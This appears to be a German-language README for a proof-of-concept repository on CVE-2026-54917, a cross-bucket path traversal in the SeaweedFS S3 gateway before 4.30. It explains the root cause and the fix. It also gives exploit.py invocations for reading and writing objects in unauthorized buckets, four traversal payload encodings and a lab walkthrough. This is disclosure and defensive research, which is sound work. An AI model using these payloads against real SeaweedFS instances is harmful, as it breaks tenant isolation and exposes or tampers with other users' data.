
PoC + Analyse für CVE-2026-54917 — SeaweedFS S3-Gateway Cross-Bucket-Pfad-Traversal (CVSS 10.0, <4.30). Beliebige Buckets über .. im Objekt-Key lesen/schreiben.
Proof-of-Concept und technische Dokumentation zu CVE-2026-54917, einer Path-Traversal-Schwachstelle im SeaweedFS S3-API-Gateway, die es einem Aufrufer ermöglicht, auf Objekte in beliebigen Buckets zuzugreifen, unabhängig davon, wofür seine Anmeldedaten autorisiert sind.
| CVE | CVE-2026-54917 |
| Sicherheitshinweis | GHSA-w62w-66v9-vvgv |
| Produkt | SeaweedFS — S3-API-Gateway (weed s3, sowie der S3-Endpunkt in weed server) |
| Betroffen | < 4.30 |
| Behoben | 4.30 |
| Schwachstelle | CWE-22 — Unzureichende Begrenzung eines Pfadnamens auf ein eingeschränktes Verzeichnis |
| Schweregrad | 10.0 Kritisch — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N |
| Status | SCHWACHSTELLE BESTÄTIGT in 4.29 · BEHOBEN in 4.30 (end-to-end verifiziert) |
├── exploit.py self-contained exploit (read + write, 4 traversal encodings)
├── README.md this file
├── ANALYSIS.md source-level root-cause walkthrough
├── EVIDENCE.txt raw lab transcript (vulnerable + patched boundary)
├── patch-4.30.diff the security-relevant portion of the official fix
└── lab/ one-command reproduction (docker-compose / setup.sh)
Der S3-API-Router wird mit mux.NewRouter().SkipClean(true) aufgebaut. Da die Pfadbereinigung deaktiviert ist, übersteht ein ..-Segment im Anfragepfad das Routing. Eine Anfrage wie:
GET /bucket-a/../evil-bucket/secret.txt
wird von der Mux-Route als {bucket} = "bucket-a", {object} = "../evil-bucket/secret.txt" abgeglichen.
Danach gehen zwei Dinge auseinander:
{bucket} — bucket-a — die der Aufrufer verwenden darf.bucketDir(bucket) + "/" + object), und der Filer löst das .. serverseitig auf, sodass der Lese-/Schreibzugriff tatsächlich in evil-bucket landet.Das Ergebnis ist ein klassischer Confused Deputy: IAM prüft einen Bucket, das Dateisystem arbeitet auf einem anderen. Ein Principal, der für einen einzigen Bucket autorisiert ist, kann Objekte in jedem anderen Bucket der Instanz lesen und schreiben.
enableAuth = false — direkter, unauthentifizierter Bucket-übergreifender Lese-/Schreibzugriff.enableAuth = true — Autorisierungs-Confused-Deputy: Jeder authentifizierte Principal (jeder Tenant) kann über Bucket-Grenzen hinweg lesen und schreiben, für die er keine Berechtigung besitzt. Dies ist der hier demonstrierte Fall und der Grund für die Bewertung von 10.0 / geändertem Scope: Die Anmeldedaten eines Tenants durchbrechen die Isolation aller anderen.exploit.py verwendet ausschließlich die Python-Standardbibliothek. Es signiert jede Anfrage selbst mit SigV4 und schreibt die Anfragezeile bytegenau, sodass der Traversal-Pfad unverändert beim Server ankommt — genau das ermöglicht die URL-kodierten Varianten, die ein normales S3-SDK umschreiben würde.
# read a secret from a bucket the credential is NOT authorized for
python3 exploit.py \
--url http://TARGET:8333 \
--access-key <key> --secret-key <secret> \
--auth-bucket bucket-a \ # bucket the credential IS allowed to use
--target-bucket evil-bucket \ # bucket you are NOT allowed to use
--key secret.txt
# write into another bucket (integrity impact)
python3 exploit.py ... --target-bucket evil-bucket --key pwned.txt --write payload.bin
# try a different traversal encoding
python3 exploit.py ... --variant enc-slash # dotdot | enc-dot | enc-slash | enc-backslash
Vier Traversal-Kodierungen sind implementiert und auf 4.29 alle bestätigt:
| Variante | auf der Leitung | Auswirkung |
|---|---|---|
dotdot | /bucket-a/../evil-bucket/key | funktioniert auch mit unverändertem aws-cli |
enc-dot | /bucket-a/%2e%2e/evil-bucket/key | benötigt rohe Anfrage (SDK kodiert neu) |
enc-slash | /bucket-a/..%2fevil-bucket/key | benötigt rohe Anfrage |
enc-backslash | /bucket-a/..%5cevil-bucket/key | \ wird serverseitig zu / umgewandelt |
cd lab
./setup.sh # starts SeaweedFS 4.29 (S3 + IAM) and seeds data
python3 ../exploit.py \
--access-key TENANTAKEY --secret-key tenantasecret \
--auth-bucket bucket-a --target-bucket evil-bucket --key secret.txt
# -> HTTP 200 + the secret from a bucket tenant-a cannot read directly
TAG=4.30 ./setup.sh # patched build, same steps -> HTTP 400 InvalidRequest
Das Labor aktiviert IAM (lab/s3.json) mit zwei Identitäten: admin (volle Rechte) und tenant-a (auf bucket-a beschränkt). Für die gesamte Ausnutzung werden ausschließlich die Anmeldedaten von tenant-a verwendet. Das vollständige Transkript finden Sie in EVIDENCE.txt.
Siehe ANALYSIS.md. Kurz gesagt: SkipClean(true) belässt .. im gerouteten Pfad; GetBucketAndObject erfasst die rohen Mux-Variablen; IAM autorisiert gegen {bucket}; toFilerPath fügt {object} (das weiterhin .. enthält) in den Filer-Pfad ein, wo es aufgelöst wird und die Bucket-Grenze überschreitet.
Behoben in 4.30 (patch-4.30.diff). Eine validateRequestPath-Middleware läuft vor den Bucket-Handlern und lehnt jede erfasste {bucket}-/{object}-Variable ab, die leer ist oder ein Traversal-Segment enthält, und gibt 400 InvalidRequest zurück. Aktualisieren Sie auf 4.30 oder höher.
/../, /%2e%2e, ..%2f oder ..%5c enthält.Caio Fabrício — github.com/BiiTts